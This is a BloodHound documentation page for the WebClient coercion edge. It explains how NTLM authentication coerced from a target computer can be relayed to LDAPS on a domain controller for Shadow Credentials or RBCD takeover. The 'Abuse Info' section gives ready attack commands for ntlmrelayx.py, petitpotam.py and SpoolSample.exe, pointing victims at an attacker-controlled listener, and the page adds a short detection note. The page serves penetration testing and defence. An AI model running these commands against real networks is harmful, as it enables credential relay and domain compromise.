Skip to main content
Applies to BloodHound Enterprise and CE This edge indicates that the target computer has the WebClient service running. This enables an attacker with “Authenticated Users” access to trigger WebClient-based coercion from the target computer to their attacker-controlled host via NTLM. Since the connection originates from the WebClient instead of SMB, the attacker can relay the authentication attempt to LDAPS of a domain controller that does not require LDAPS channel binding. This relay can be used to abuse Active Directory permissions or obtain administrative access to the target computer using Resource-Based Constrained Delegation (RBCD) or Shadow Credentials.

​
Abuse Info

This section provides general guidance about abusing this edge. For detailed instructions, see references at the end of this article.

​
Linux

  1. Start the Relay Server The NTLM relay can be executed with ntlmrelayx.py. To relay to LDAP and perform a Shadow Credentials attack against the target computer: 
    ntlmrelayx.py -t ldaps://<Domain Controller IP> --shadow-credentials
  2. Coerce the Target Computer Several coercion methods are documented here: Windows Coerced Authentication Methods. Examples of tools include: To trigger WebClient coercion (instead of regular SMB coercion), the listener must use a WebDAV Connection String format: \\SERVER_NETBIOS@PORT/PATH/TO/FILE. 
    petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS@PORT/file.txt" "VICTIM_IP"

​
Windows

  1. Start the Relay Server The NTLM relay can be executed with Inveigh.
  2. Coerce the Target Computer Several coercion methods are documented here: Windows Coerced Authentication Methods. Examples of tools include: To trigger WebClient coercion (instead of regular SMB coercion), the listener must use a WebDAV Connection String format: \\SERVER_NETBIOS@PORT/PATH/TO/FILE. 
    SpoolSample.exe "VICTIM_IP" "ATTACKER_NETBIOS@PORT/file.txt"

​
Opsec Considerations

NTLM relayed authentications can be detected by login events where the IP address does not match the computer’s actual IP address. This detection technique is described in the blog post: Detecting NTLM Relay Attacks.

​
Edge Schema

Source: Authenticated Users, Group
Destination: Computer
Traversable: Yes

​
References